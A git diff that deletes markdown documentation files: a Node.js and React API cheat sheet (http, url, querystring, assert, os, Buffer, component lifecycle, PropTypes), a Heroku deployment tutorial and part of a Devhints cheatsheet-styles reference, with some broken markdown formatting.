-server.close([callback]);
-```
-
-> Stops the server from accepting new connections.
-
-````js
-server.setTimeout(msecs, callback);
->  Sets the timeout value for sockets, and emits a 'timeout' event on the Server object, passing the socket as an argument, if a timeout occurs.
-
-```js
-
-server.maxHeadersCount;
-````
-
----
-
-> Limits maximum incoming headers count, equal to 1000 by default. If set to 0 - no limit will be applied.
-
-```js
-server.timeout;
-```
-
-> The number of milliseconds of inactivity before a socket is presumed to have timed out.
-
-```js
-server.on('request', function (request, response) {});
-```
-
-> Emitted each time there is a request.
-
-```js
-server.on('connection', function (socket) {});
-```
-
-> When a new TCP stream is established.
-
-```js
-server.on('close', function () {});
-```
-
----
-
-> Emitted when the server closes.
-
-```js
-server.on('checkContinue', function (request, response) {});
-```
-
----
-
-> Emitted each time a request with an http Expect: 100-continue is received.
-
-```js
-server.on('connect', function (request, socket, head) {});
-```
-
-> Emitted each time a client requests a http CONNECT method.
-
-```js
-server.on('upgrade', function (request, socket, head) {});
-```
-
-> Emitted each time a client requests a http upgrade.
-
-```js
-server.on('clientError', function (exception, socket) {});
-```
-
-> If a client connection emits an 'error' event - it will forwarded here.
-
-```js
-request.write(chunk, [encoding]);
-```
-
-> Sends a chunk of the body.
-
-```js
-request.end([data], [encoding]);
-```
-
-> Finishes sending the request. If any parts of the body are unsent, it will flush them to the stream.
-
-```js
-request.abort();
-```
-
-> Aborts a request.
-
-```js
-request.setTimeout(timeout, [callback]);
-```
-
----
-
-> Once a socket is assigned to this request and is connected socket.setTimeout() will be called.
-
-```js
-request.setNoDelay([noDelay]);
-```
-
-> Once a socket is assigned to this request and is connected socket.setNoDelay() will be called.
-
-```js
-request.setSocketKeepAlive([enable], [initialDelay]);
-```
-
-> Once a socket is assigned to this request and is connected socket.setKeepAlive() will be called.
-
-```js
-request.on('response', function (response) {});
-```
-
-> Emitted when a response is received to this request. This event is emitted only once.
-
-````js
-request.on('socket', function(socket) { });
->  Emitted after a socket is assigned to this request.
-
-```js
-
-request.on('connect', function(response, socket, head) { });
-````
-
-> Emitted each time a server responds to a request with a CONNECT method. If this event isn't being listened for, clients receiving a CONNECT method will have their connections closed.
-
-```js
-request.on('upgrade', function (response, socket, head) {});
-```
-
-> Emitted each time a server responds to a request with an upgrade. If this event isn't being listened for, clients receiving an upgrade header will have their connections closed.
-
-```js
-request.on('continue', function () {});
-```
-
-> Emitted when the server sends a '100 Continue' HTTP response, usually because the request contained 'Expect: 100-continue'. This is an instruction that the client should send the request body.
-
-```js
-response.write(chunk, [encoding]);
-```
-
-> This sends a chunk of the response body. If this merthod is called and response.writeHead() has not been called, it will switch to implicit header mode and flush the implicit headers.
-
-```js
-response.writeContinue();
-```
-
-> Sends a HTTP/1.1 100 Continue message to the client, indicating that the request body should be sent.
-
-````js
-response.writeHead(statusCode, [reasonPhrase], [headers]);
->  Sends a response header to the request.
-
-```js
-
-response.setTimeout(msecs, callback);
->  Sets the Socket's timeout value to msecs. If a callback is provided, then it is added as a listener on the 'timeout' event on the response object.
-
-```js
-
-response.setHeader(name, value);
->  Sets a single header value for implicit headers. If this header already exists in the to-be-sent headers, its value will be replaced. Use an array of strings here if you need to send multiple headers with the same name.
-
-```js
-
-response.getHeader(name);
-````
-
-> Reads out a header that's already been queued but not sent to the client. Note that the name is case insensitive.
-
-```js
-response.removeHeader(name);
-```
-
-> Removes a header that's queued for implicit sending.
-
-```js
-response.addTrailers(headers);
-```
-
-> This method adds HTTP trailing headers (a header but at the end of the message) to the response.
-
-```js
-response.end([data], [encoding]);
-```
-
-> This method signals to the server that all of the response headers and body have been sent; that server should consider this message complete. The method, response.end(), MUST be called on each response.
-
-````js
-response.statusCode;
->  When using implicit headers (not calling response.writeHead() explicitly), this property controls the status code that will be sent to the client when the headers get flushed.
-
-```js
-
-response.headersSent;
->  Boolean (read-only). True if headers were sent, false otherwise.
-
-```js
-
-response.sendDate;
->  When true, the Date header will be automatically generated and sent in the response if it is not already present in the headers. Defaults to true.
-
-```js
-
-response.on('close', function () { });
-````
-
----
-
-> Indicates that the underlying connection was terminated before response.end() was called or able to flush.
-
-```js
-response.on('finish', function () {});
-```
-
----
-
-> Emitted when the response has been sent.
-
-````js
-message.httpVersion;
->  In case of server request, the HTTP version sent by the client. In the case of client response, the HTTP version of the connected-to server.
-
-```js
-
-message.headers;
-````
-
-> The request/response headers object.
-
-```js
-message.trailers;
-```
-
----
-
-> The request/response trailers object. Only populated after the 'end' event.
-
-```js
-message.method;
-```
-
-> The request method as a string. Read only. Example: 'GET', 'DELETE'.
-
-````js
-message.url;
->  Request URL string. This contains only the URL that is present in the actual HTTP request.
-
-```js
-
-message.statusCode;
-````
-
-> The 3-digit HTTP response status code. E.G. 404.
-
-```js
-message.socket;
-```
-
-> The net.Socket object associated with the connection.
-
-```js
-message.setTimeout(msecs, callback);
-```
-
-> Calls message.connection.setTimeout(msecs, callback). This module has utilities for URL resolution and parsing. Call require('url') to use it.
-
-```js
-url.parse(urlStr, [parseQueryString], [slashesDenoteHost]);
-```
-
----
-
-> Take a URL string, and return an object.
-
-```js
-url.format(urlObj);
-```
-
-> Take a parsed URL object, and return a formatted URL string.
-
-```js
-url.resolve(from, to);
-```
-
-> Take a base URL, and a href URL, and resolve them as a browser would for an anchor tag.
-
-````js
-//**************
- // * QUERY STRING
- * http://nodejs.org/api/querystring.html
-*/
-> ---------------------------------------------------------------------------\\
->  This module provides utilities for dealing with query strings. Call require('querystring') to use it.
-
-```js
-
-querystring.stringify(obj, [sep], [eq]);
-````
-
-> Serialize an object to a query string. Optionally override the default separator ('&') and assignment ('=') characters.
-
-```js
-querystring.parse(str, [sep], [eq], [options]);
-```
-
----
-
-> Deserialize a query string to an object. Optionally override the default separator ('&') and assignment ('=') characters. This module is used for writing unit tests for your applications, you can access it with require('assert').
-
-```js
-assert.fail(actual, expected, message, operator);
-```
-
-> Throws an exception that displays the values for actual and expected separated by the provided operator.
-
-```js
-assert(value, message);
-assert.ok(value, [message]);
-```
-
----
-
-> Tests if value is truthy, it is equivalent to assert.equal(true, !!value, message);
-
-```js
-assert.equal(actual, expected, [message]);
-```
-
----
-
-> Tests shallow, coercive equality with the equal comparison operator ( == ).
-
-```js
-assert.notEqual(actual, expected, [message]);
-```
-
-> Tests shallow, coercive non-equality with the not equal comparison operator ( != ).
-
-```js
-assert.deepEqual(actual, expected, [message]);
-```
-
-> Tests for deep equality.
-
-```js
-assert.notDeepEqual(actual, expected, [message]);
-```
-
-> Tests for any deep inequality.
-
-```js
-assert.strictEqual(actual, expected, [message]);
-```
-
----
-
-> Tests strict equality, as determined by the strict equality operator ( === )
-
-```js
-assert.notStrictEqual(actual, expected, [message]);
-```
-
-> Tests strict non-equality, as determined by the strict not equal operator ( !== )
-
-```js
-assert.throws(block, [error], [message]);
-```
-
-> Expects block to throw an error. error can be constructor, RegExp or validation function.
-
-```js
-assert.doesNotThrow(block, [message]);
-```
-
-> Expects block not to throw an error, see assert.throws for details.
-
-```js
-assert.ifError(value);
-```
-
-> Tests if value is not a false value, throws if it is a true value. Useful when testing the first argument, error in callbacks. Provides a few basic operating-system related utility functions. Use require('os') to access this module.
-
-```js
-os.tmpdir();
-```
-
-> Returns the operating system's default directory for temp files.
-
-```js
-os.endianness();
-```
-
-> Returns the endianness of the CPU. Possible values are "BE" or "LE".
-
-```js
-os.hostname();
-```
-
-> Returns the hostname of the operating system.
-
-```js
-os.type();
-```
-
-> Returns the operating system name.
-
-```js
-os.platform();
-```
-
-> Returns the operating system platform.
-
-```js
-os.arch();
-```
-
-> Returns the operating system CPU architecture.
-
-```js
-os.release();
-```
-
----
-
-> Returns the operating system release.
-
-````js
-os.uptime();
->  Returns the system uptime in seconds.
-
-```js
-
-os.loadavg();
-````
-
----
-
-> Returns an array containing the 1, 5, and 15 minute load averages.
-
-```js
-os.totalmem();
-```
-
-> Returns the total amount of system memory in bytes.
-
-```js
-os.freemem();
-```
-
----
-
-> Returns the amount of free system memory in bytes.
-
-```js
-os.cpus();
-```
-
-> Returns an array of objects containing information about each CPU/core installed: model, speed (in MHz), and times (an object containing the number of milliseconds the CPU/core spent in: user, nice, sys, idle, and irq).
-
-```js
-os.networkInterfaces();
-```
-
----
-
-> Get a list of network interfaces.
-
-```js
-os.EOL;
->  A constant defining the appropriate End-of-line marker for the operating system.
-```
-
-> Buffer is used to dealing with binary data Buffer is similar to an array of integers but corresponds to a raw memory allocation outside the V8 heap
-
-```js
-Buffer.from(size);
-```
-
-> Allocates a new buffer of size octets.
-
-```js
-Buffer.from(array);
-```
-
-> Allocates a new buffer using an array of octets.
-
-```js
-Buffer.from(str, [encoding]);
-```
-
-> Allocates a new buffer containing the given str. encoding defaults to 'utf8'.
-
-```js
-Buffer.isEncoding(encoding);
-```
-
-> Returns true if the encoding is a valid encoding argument, or false otherwise.
-
-```js
-Buffer.isBuffer(obj);
-```
-
-> Tests if obj is a Buffer
-
-```js
-Buffer.concat(list, [totalLength]);
-```
-
-> Returns a buffer which is the result of concatenating all the buffers in the list together.
-
-```js
-Buffer.byteLength(string, [encoding]);
-```
-
-> Gives the actual byte length of a string.
-
-```js
-buf.write(string, [offset], [length], [encoding]);
-```
-
-> Writes string to the buffer at offset using the given encoding buf.toString(\[encoding], \[start], \[end]);
-
-````
----
->  Decodes and returns a string from buffer data encoded with encoding (defaults to 'utf8') beginning at start (defaults to 0) and ending at end (defaults to buffer.length).
-
-```js
-
-buf.toJSON();
-````
-
-> Returns a JSON-representation of the Buffer instance, which is identical to the output for JSON Arrays
-
-```js
-buf.copy(targetBuffer, [targetStart], [sourceStart], [sourceEnd]);
-```
-
----
-
-> Does copy between buffers. The source and target regions can be overlapped
-
-```js
-buf.slice([start], [end]);
-```
-
-> Returns a new buffer which references the same memory as the old, but offset and cropped by the start (defaults to 0) and end (defaults to buffer.length) indexes. Negative indexes start from the end of the buffer.
-
-```js
-buf.fill(value, [offset], [end]);
-```
-
-> Fills the buffer with the specified value
-
-```js
-buf[index];
-```
-
-> Get and set the octet at index
-
-```js
-buf.length;
-```
-
-> The size of the buffer in bytes, Note that this is not necessarily the size of the contents
-
-```js
-buffer.INSPECT_MAX_BYTES;
-```
-
-> How many bytes will be returned when buffer.inspect() is called. This can be overridden by user modules.
-
-```js
-
-```
-
-## ReactJS
-
----
-
-```bash
-npm install --save react
-#// declarative and flexible JavaScript library for building UI
-npm install --save react-dom
-# > serves as the entry point of the DOM-related rendering paths
-npm install --save prop-types
-#// runtime type checking for React props and similar objects
-```
-
-### notes: don't forget the command lines
-
-> Create and return a new React element of the given type.
-
-> Code written with JSX will be converted to use React.createElement().
-
-> You will not typically invoke React.createElement() directly if you are using JSX.
-
-```js
-React.createElement(type, [props], [...children]);
-```
-
-> Clone and return a new React element using element as the starting point.
-
-> The resulting element will have the original element's props with the new props merged in shallowly.
-
-```js
-React.cloneElement(element, [props], [...children]);
-```
-
-> Verifies the object is a React element. Returns true or false.
-
-```js
-React.isValidElement(object);
-```
-
-> React.Children> provides utilities for dealing with the this.props.children opaque data structure. Invokes a function on every immediate child contained within children with this set to thisArg.
-
-```js
-React.Children.map(children, function[(thisArg)])
-```
-
-> Like React.Children.map() but does not return an array.
-
-```js
-React.Children.forEach(children, function[(thisArg)])
-```
-
-> Returns the total number of components in children, equal to the number of times that a callback passed to map or forEach would be invoked.
-
-```js
-React.Children.count(children);
-```
-
-> Verifies that children has only one child (a React element) and returns it.
-
-> Otherwise this method throws an error.
-
-```js
-React.Children.only(children);
-```
-
-> Returns the children opaque data structure as a flat array with keys assigned to each child.
-
-> Useful if you want to manipulate collections of children in your render methods, especially if you want to reorder or slice this.props.children before passing it down.
-
-```js
-React.Children.toArray(children);
-```
-
-> The React.Fragment component lets you return multiple elements in a render() method without creating an additional DOM element
-
-> You can also use it with the shorthand <>\</> syntax.
-
-```js
-
-class Component extends React.Component {
-```
-
-> Will be called before it is mounted constructor(props) { Call this method before any other statement or this.props will be undefined in the constructor super(props);
-
-> The constructor is also often used to bind event handlers to the class instance.
-
-> Binding makes sure the method has access to component attributes like this.props and this.state
-
-```js
-this.method = this.method.bind(this);
-```
-
-> The constructor is the right place to initialize state.
-
-```js
-  this.state = {
-    active: true,
-```
-
-> In rare cases, it's okay to initialize state based on props.
-
-> This effectively "forks" the props and sets the state with the initial props.
-
-> If you "fork" props by using them for state, you might also want to implement componentWillReceiveProps(nextProps) to keep the state up-to-date with them. But lifting state up is often easier and less bug-prone.
-
-```js
-    color: props.initialColor
-  };
-}
-```
-
-> Enqueues changes to the component state and tells React that this component and its children need to be re-rendered with the updated state.
-
-> setState() does not always immediately update the component. It may batch or defer the update until later.
-
-> This makes reading this.state right after calling setState() a potential pitfall.
-
-> Instead, use componentDidUpdate or a setState callback.
-
-> You may optionally pass an object as the first argument to setState() instead of a function.
-
-```jsx
-
-
-setState(updater[, callback]) { }
-```
-
-> Invoked just before mounting occurs (before render())
-
-> This is the only lifecycle hook called on server rendering.
-
-```js
-componentWillMount() { }
-```
-
-> Invoked immediately after a component is mounted.
-
-> Initialization that requires DOM nodes should go here.
-
-> If you need to load data from a remote endpoint, this is a good place to instantiate the network request.
-
-> This method is a good place to set up any subscriptions. If you do that, don't forget to unsubscribe in componentWillUnmount().
-
-```js
-componentDidMount() { }
-```
-
-> Invoked before a mounted component receives new props.
-
-> If you need to update the state in response to prop changes (for example, to reset it), you may compare this.props and nextProps and perform state transitions using this.setState() in this method.
-
-```js
-componentWillReceiveProps(nextProps) { }
-```
-
-> Let React know if a component's output is not affected by the current change in state or props.
-
-> The default behavior is to re-render on every state change, and in the vast majority of cases you should rely on the default behavior.
-
-> shouldComponentUpdate() is invoked before rendering when new props or state are being received. Defaults to true.
-
-> This method is not called for the initial render or when forceUpdate() is used.
-
-> Returning false does not prevent child components from re-rendering when their state changes.
-
-```js
-shouldComponentUpdate(nextProps, nextState) { }
-```
-
-> Invoked just before rendering when new props or state are being received.
-
-> Use this as an opportunity to perform preparation before an update occurs. This method is not called for the initial render.
-
-> Note that you cannot call this.setState() here; nor should you do anything else
-
-````
-> (e.g. dispatch a Redux action) that would trigger an update to a React component before componentWillUpdate() returns.
-
- > If you need to update state in response to props changes, use componentWillReceiveProps() instead.
-
-```js
-
-componentWillUpdate(nextProps, nextState) { }
-````
-
-> Invoked immediately after updating occurs. This method is not called for the initial render.
-
-> Use this as an opportunity to operate on the DOM when the component has been updated.
-
-> This is also a good place to do network requests as long as you compare the current props to previous props (e.g. a network request may not be necessary if the props have not changed).
-
-```js
-componentDidUpdate(prevProps, prevState) { }
-```
-
-> Invoked immediately before a component is unmounted and destroyed.
-
-> Perform any necessary cleanup in this method, such as invalidating timers, canceling network requests, or cleaning up any subscriptions that were created in componentDidMount().
-
-```js
-componentWillUnmount() { }
-```
-
-> Error boundaries are React components that catch JavaScript errors anywhere in their child component tree, log those errors, and display a fallback UI instead of the component tree that crashed.
-
-> Error boundaries catch errors during rendering, in lifecycle methods, and in constructors of the whole tree below them.
-
-```js
-componentDidCatch() { }
-```
-
-> This method is required.
-
-> It should be pure, meaning that it does not modify component state, it returns the same result each time it's invoked, and
-
-```
-> it does not directly interact with the browser (use lifecycle methods for this)
-```
-
-> It must return one of the following types: react elements, string and numbers, portals, null or booleans.
-
-```js
-render() {
-```
-
-> Contains the props that were defined by the caller of this component.
-
-```js
-console.log(this.props);
-```
-
-> Contains data specific to this component that may change over time.
-
-````js
-> The state is user-defined, and it should be a plain JavaScript object.
-
-```js
-
-> If you don't use it in render(), it shouldn't be in the state.
-
-```js
-
-> For example, you can put timer IDs directly on the instance.
-
-```js
-
-> Never mutate this.state directly, as calling setState() afterwards may replace the mutation you made.
-
-```js
-
-> Treat this.state as if it were immutable.
-
-```js
-
-  console.log(this.state);
-  return (
-    <div>
-      {/* Comment goes here */}
-      Hello, {this.props.name}!
-    </div>
-  );
-}
-}
-````
-
-> Can be defined as a property on the component class itself, to set the default props for the class.
-
-> This is used for undefined props, but not for null props.
-
-```js
-Component.defaultProps = {
-    color: 'blue'
-};
-component = new Component();
-```
-
-> By default, when your component's state or props change, your component will re-render.
-
-> If your render() method depends on some other data, you can tell React that the component needs re-rendering by calling forceUpdate().
-
-> Normally you should try to avoid all uses of forceUpdate() and only read from this.props and this.state in render().
-
-````js
-component.forceUpdate(callback)
-//**************
- // * REACT.DOM
- * The react-dom package provides DOM-specific methods that can be used at the top level of
- * your app and as an escape hatch to get outside of the React model if you need to.
-
-```js
-
- * Most of your components should not need to use this module.
-
-```js
-
- * https://reactjs.org/docs/react-dom.html
-*/
-//------------------------------------------------------------------------------\\
-//------------------------------------------------------------------------------\\
-````
-
-> Render a React element into the DOM in the supplied container and return a reference
-
-````
-> to the component (or returns null for stateless components).
-
-```js
-
-ReactDOM.render(element, container[, callback])
-````
-
-> Same as render(), but is used to hydrate a container whose HTML contents were rendered
-
-````
-> by ReactDOMServer. React will attempt to attach event listeners to the existing markup.
-
-```js
-
-ReactDOM.hydrate(element, container[, callback])
-````
-
-> Remove a mounted React component from the DOM and clean up its event handlers and state.
-
-> If no component was mounted in the container, calling this function does nothing.
-
-> Returns true if a component was unmounted and false if there was no component to unmount.
-
-```js
-ReactDOM.unmountComponentAtNode(container);
-```
-
-> If this component has been mounted into the DOM, this returns the corresponding native browser
-
-```
-> DOM element. This method is useful for reading values out of the DOM, such as form field values
-```
-
-> and performing DOM measurements. In most cases, you can attach a ref to the DOM node and avoid
-
-````
-> using findDOMNode at all.
-
-```js
-
-ReactDOM.findDOMNode(component)
-````
-
-> Creates a portal. Portals provide a way to render children into a DOM node that exists outside
-
-````
-> the hierarchy of the DOM component.
-
-```js
-
-ReactDOM.createPortal(child, container)
-//******************************************************************************
- // * REACTDOMSERVER
- * The ReactDOMServer object enables you to render components to static markup.
-
-```js
-
- * https://reactjs.org/docs/react-dom.html
-*/
-//------------------------------------------------------------------------------\\
-//------------------------------------------------------------------------------\\
-````
-
-> Render a React element to its initial HTML. React will return an HTML string.
-
-> You can use this method to generate HTML on the server and send the markup down on the initial
-
-````
-> request for faster page loads and to allow search engines to crawl your pages for SEO purposes.
-
-```js
-
-ReactDOMServer.renderToString(element)
-````
-
-> Similar to renderToString, except this doesn't create extra DOM attributes that React uses
-
-```
-> internally, such as data-reactroot. This is useful if you want to use React as a simple static
-```
-
-> page generator, as stripping away the extra attributes can save some bytes.
-
-```js
-ReactDOMServer.renderToStaticMarkup(element);
-```
-
-> Render a React element to its initial HTML. Returns a Readable stream that outputs an HTML string.
-
-> The HTML output by this stream is exactly equal to what ReactDOMServer.renderToString would return.
-
-> You can use this method to generate HTML on the server and send the markup down on the initial
-
-````
-> request for faster page loads and to allow search engines to crawl your pages for SEO purposes.
-
-```js
-
-ReactDOMServer.renderToNodeStream(element)
-````
-
-> Similar to renderToNodeStream, except this doesn't create extra DOM attributes that React uses
-
-```
-> internally, such as data-reactroot. This is useful if you want to use React as a simple static
-```
-
-> page generator, as stripping away the extra attributes can save some bytes.
-
-```js
-ReactDOMServer.renderToStaticNodeStream(element)
-//***********
- // * TYPECHECKING WITH PROPTYPES
- * https://reactjs.org/docs/typechecking-with-proptypes.html
-*/
-//------------------------------------------------------------------------------\\
-//------------------------------------------------------------------------------\\
-import PropTypes from 'prop-types';
-MyComponent.propTypes = {
-```
-
-> You can declare that a prop is a specific JS type. By default, these
-
-````
-> are all optional.
-
-```js
-
-optionalArray: PropTypes.array,
-optionalBool: PropTypes.bool,
-optionalFunc: PropTypes.func,
-optionalNumber: PropTypes.number,
-optionalObject: PropTypes.object,
-optionalString: PropTypes.string,
-optionalSymbol: PropTypes.symbol,  Anything that can be rendered: numbers, strings, elements or an array
-````
-
-> (or fragment) containing these types.
-
-````js
-optionalNode: PropTypes.node,  A React element.
-
-```js
-
-optionalElement: PropTypes.element,  You can also declare that a prop is an instance of a class. This uses
-````
-
-> JS's instanceof operator.
-
-```js
-optionalMessage: PropTypes.instanceOf(Message),  You can ensure that your prop is limited to specific values by treating
-```
-
-> it as an enum.
-
-```js
-optionalEnum: PropTypes.oneOf(['News', 'Photos']),  An object that could be one of many types
-optionalUnion: PropTypes.oneOfType([
-  PropTypes.string,
-  PropTypes.number,
-  PropTypes.instanceOf(Message)
-]),  An array of a certain type
-optionalArrayOf: PropTypes.arrayOf(PropTypes.number),  An object with property values of a certain type
-optionalObjectOf: PropTypes.objectOf(PropTypes.number),  An object taking on a particular shape
-optionalObjectWithShape: PropTypes.shape({
-  color: PropTypes.string,
-  fontSize: PropTypes.number
-}),  You can chain any of the above with `isRequired` to make sure a warning
-```
-
-> is shown if the prop isn't provided.
-
-```js
-requiredFunc: PropTypes.func.isRequired,  A value of any data type
-requiredAny: PropTypes.any.isRequired,  You can also specify a custom validator. It should return an Error
-```
-
-> object if the validation fails. Don't `console.warn` or throw, as this
-
-````
-> won't work inside `oneOfType`.
-
-```js
-
-customProp: function(props, propName, componentName) {
-  if (!/matchme/.test(props[propName])) {
-    return new Error(
-      'Invalid prop `' + propName + '` supplied to' +
-      ' `' + componentName + '`. Validation failed.'
-    );
-  }
-},  You can also supply a custom validator to `arrayOf` and `objectOf`.
-
- > It should return an Error object if the validation fails. The validator
-
-> will be called for each key in the array or object. The first two
-````
-
-> arguments of the validator are the array or object itself, and the
-
-````
-> current item's key.
-
-```js
-
-customArrayProp: PropTypes.arrayOf(function(propValue, key, componentName, location, propFullName) {
-  if (!/matchme/.test(propValue[key])) {
-    return new Error(
-      'Invalid prop `' + propFullName + '` supplied to' +
-      ' `' + componentName + '`. Validation failed.'
-    );
-  }
-})
-};
-````
diff --git a/docs/content/cheat-sheets/cheatsheet-compilation.md b/docs/content/cheat-sheets/cheatsheet-compilation.md
deleted file mode 100644
index bd48665a71..0000000000
--- a/docs/content/cheat-sheets/cheatsheet-compilation.md
+++ /dev/null
@@ -1,112 +0,0 @@
-# Cheatsheet Compilation
-
-Heroku lets you deploy, run and manage applications written in Ruby, Node.js, Java, Python, Clojure, Scala, Go and PHP. An application is a…
-
-#### Heroku Deploy Guides & Cheatsheet Compilation <a href="#b1ab" id="b1ab"></a>
-
-**Heroku lets you deploy, run and manage applications written in Ruby, Node.js, Java, Python, Clojure, Scala, Go and PHP. An application is a collection of \_source code**_\*\* written in one of these languages, perhaps a framework, and some \*\*_**dependency description**\_\*\* that instructs a build system as to which additional dependencies are needed in order to build and run the application.\*\*
-
-![](https://cdn-images-1.medium.com/max/800/0*gAOfoFENBTwE5mqJ.gif)
-
-**This is a quick tutorial explaining how to get a static website hosted on Heroku.**
-
-> Heroku hosts apps on the internet, not static websites. To get it to run your static portfolio, personal blog, etc., you need to trick Heroku into thinking your website is a PHP app.
-
-> Basic Assumptions You want to deploy some straight-up HTML, CSS, JS, maybe a few images. Nothing fancy here. You are in the root directory of your site (i.e. the directory that contains all subdirectories and files for the site) The root directory contains a main HTML page, e.g. index.html A Heroku app and remote are set up and ready to go Steps Add a file called composer.json to the root directory by running touch composer.json Add a file called index.php to the root directory by running touch index.php Rename the homepage (e.g. index.html) to home.html In index.php, add the following line: In composer.json, add the following line: {} Run git push heroku master Done! Visit your deployed single-page website, hosted by Heroku (as a fake PHP app ☺).
-
-#### Steps: <a href="#70f3" id="70f3"></a>
-
-> **-heavily borrowed from this** [**free code camp article**](https://www.freecodecamp.org/news/how-to-deploy-an-application-to-heroku/) **by Stan Georgian.**
-
-#### 1.) Create the project <a href="#8451" id="8451"></a>
-
-Starting with any basic boilerplate demo server with NodeJS.
-
-Open a terminal and run the command `npm init -y` in order to create a new project. The dummy server will be written in [Express](https://expressjs.com), so we need to run the `npm install express` command to install this module.
-
-Once this library is installed, we can create a new file for our project, named `app.js`.
-
-We can start the application by running `node app.js`. Then we can try it out at the following URL `http://localhost:3000`. At this point you should see the message `Hello World` in the browser.
-
-![](https://cdn-images-1.medium.com/max/800/0*3FuViRnU9-PB5uqf.png)
-
-#### 2.) Version Control <a href="#5a4f" id="5a4f"></a>
-
-The next step is to choose a version control system and to place our code in a development platform in a repository.
-
-The most popular version control system is [Git](https://git-scm.com) along with [Github](https://github.com) as a development platform, so that's what we'll use here.
-
-On GitHub, go ahead and create a new repository for your application, like this:
-
-![](https://cdn-images-1.medium.com/max/800/0*pyHPJP0kjAV9sij1.png)
-
-To upload your local code into a repository, you need to run the commands that are listed on GitHub after you click `Create repository` button:
-
-![](https://cdn-images-1.medium.com/max/800/0*C7nOWV7ygqTRdqcu.png)
-
-**!** Before we do this, we must ignore some files. We want to upload to the repository only the code that we write, without the dependencies (the installed modules).
-
-For that, we need to create a new file `.gitignore` and inside it write the file that we want to ignore.
-
-![](https://cdn-images-1.medium.com/max/800/0*T-9QyGzUdWvFuA-D.png)
-
-Now, we can write the commands listed in the picture above (the one from GitHub).
-
-If you ran the commands correctly, then it'll be on your repository's page. If you refresh it you should see your files, except the one that you explicitly ignored, namely `node modules`.
-
-![](https://cdn-images-1.medium.com/max/800/0*_WzaY9T9A0FsvPgb.png)
-
-#### Step 3 — Link the repository with Heroku <a href="#f177" id="f177"></a>
-
-At this step, we can link the repository from Github to our Heroku application.
-
-First, create a new application on Heroku and follow the steps listed on the platform.
-
-![](https://cdn-images-1.medium.com/max/800/0*J9tMV455odrM00UJ.png)
-
-Once the application has been created, a window similar to this should appear:
-
-![](https://cdn-images-1.medium.com/max/800/0*cowa0t6DgTqjUdjR.png)
-
-Now, if you look at the navigation at the top, you'll see `Overview`, `Resources`, `Deploy`, `Metrics` and so on. Be sure that `Deploy` is selected. Then on the second row, click on the GitHub icon.
-
-![](https://cdn-images-1.medium.com/max/800/0*kAZI5kiisUiZ2Z9D.png)
-
-Search for the desired application, which is `demo-deploy-app-09` in our case. Then click `Connect`.
-
-![](https://cdn-images-1.medium.com/max/800/0*T89joca8hXRO8UsL.png)
-
-Once the application is successfully connected with your Heroku account, you can click `Deploy Branch` to deploy your application.
-
-If you want, you can also select the option `Enable Automatic Deploys` which will automatically pull the code from your Github repository every time you make a push to that repository.
-
-Once the application has been deployed, you can click on View to open your application.
-
-![](https://cdn-images-1.medium.com/max/800/0*9dBdxScA9_dIEz1Q.png)
-
-#### Step 4 — Configure Heroku to properly run the application <a href="#3096" id="3096"></a>
-
-If you open the application at this point, you should see something like this:
-
-![](https://cdn-images-1.medium.com/max/800/0*rMZ8aneIjG3nx211.png)
-
-That's right, an error. That's because Heroku doesn't know how to start our application.
-
-If you remember, we ran the command `node app.js` to start the application locally.\
-Heroku has no way of knowing what commands it needs to run to start the application, and that's why it threw an error.
-
-To solve this problem, we must create a new file named `Procfile` with the following content: `web: node ./app.js`.
-
-To update our application, all we need to do is push a new commit to GitHub. If we have enabled the `Automatic Deploys` option, then the code will be automatically pulled to Heroku. Otherwise we need to click on `Deploy Branch` again.
-
-#### Cheat Sheet: <a href="#4f85" id="4f85"></a>
-
-#### Git-Heroku Workflow: <a href="#f19f" id="f19f"></a>
-
-#### Full Stack Deploy: <a href="#e56f" id="e56f"></a>
-
-#### Alternative Approach: <a href="#50b5" id="50b5"></a>
-
-#### This one was created by Nick G and originally posted on medium Aug 29 2020. <a href="#155f" id="155f"></a>
-
-#### Find More On My Blog: <a href="#895f" id="895f"></a>
diff --git a/docs/content/cheat-sheets/cheatsheet-styles.md b/docs/content/cheat-sheets/cheatsheet-styles.md
deleted file mode 100644
index b02b0befd7..0000000000
--- a/docs/content/cheat-sheets/cheatsheet-styles.md
+++ /dev/null
@@ -1,474 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Cheatsheet styles
-
-tags: [WIP]
-intro: |
-This is a reference of styles that you can use on Devhints cheatsheets. How
-meta!
-You can refer to this when contributing your own cheatsheets to the [GitHub repo](https://github.com/rstacruz/cheatsheets/).
-
----
-
-# Intro
-
-## Variants
-
-{: .-three-column}
-
-### H2 sections
-
-|                   |
-| ----------------- | ----------------------------------- |
-| `-one-column`     |                                     |
-| `-two-column`     | _(default)_                         |
-| `-three-column`   |                                     |
-| `-left-reference` | 3 columns<br>_(short first column)_ |
-| `-no-hide`        | Don't hide H2                       |
-
-See: [H2 sections](#two-columns)
-
-### H3 sections
-
-|          |
-| -------- | --------- |
-| `-prime` | Highlight |
-
-See: [H3 sections](#h3-sections-1)
-
-### Tables
-
-|               |
-| ------------- | ----------------------------- |
-| `-bold-first` | Bold first column             |
-| `-headers`    | Show headers                  |
-| `-left-align` | Don't right align last column |
-| `-mute-em`    | Lower opacity for italics     |
-| `-no-wrap`    | Don't wrap text               |
-| `-shortcuts`  | Shortcut keys                 |
-
-See: [Tables](#tables-1)
-
-### Code
-
-|              |
-| ------------ | ------------------------------------------- |
-| `-box-chars` | Less line height<br>_for box drawing chars_ |
-| `-setup`     | Gray background                             |
-| `-wrap`      | Enables line-wrapping                       |
-
-See: [Code](#code-1)
-
-### Paragraphs
-
-|              |
-| ------------ | --------------------- |
-| `-setup`     | Gray background       |
-| `-crosslink` | Has arrow on the link |
-
-{: .-gray}
-
-See: [Paragraphs](#paragraphs-1)
-
-### Lists
-
-|                |
-| -------------- | ------------------ |
-| `-also-see`    | Lighter background |
-| `-four-column` |                    |
-| `-six-column`  |                    |
-
-See: [Lists](#lists-1)
-
-### Adding variants
-
-{: .-prime}
-
-```
-## Section
-{: .-two-column}
-```
-
-Devhints uses Kramdown, and supports adding classes via Kramdown's syntax.
-
-## H3 sections
-
-{: .-three-column}
-
-### Supported
-
-Each section can have the following children:
-
-#### White
-
--   `pre`
--   `ul`
--   `table`
-
-#### Gray
-
--   `p`
--   `h4`
-
-### Prime section
-
-{: .-prime}
-
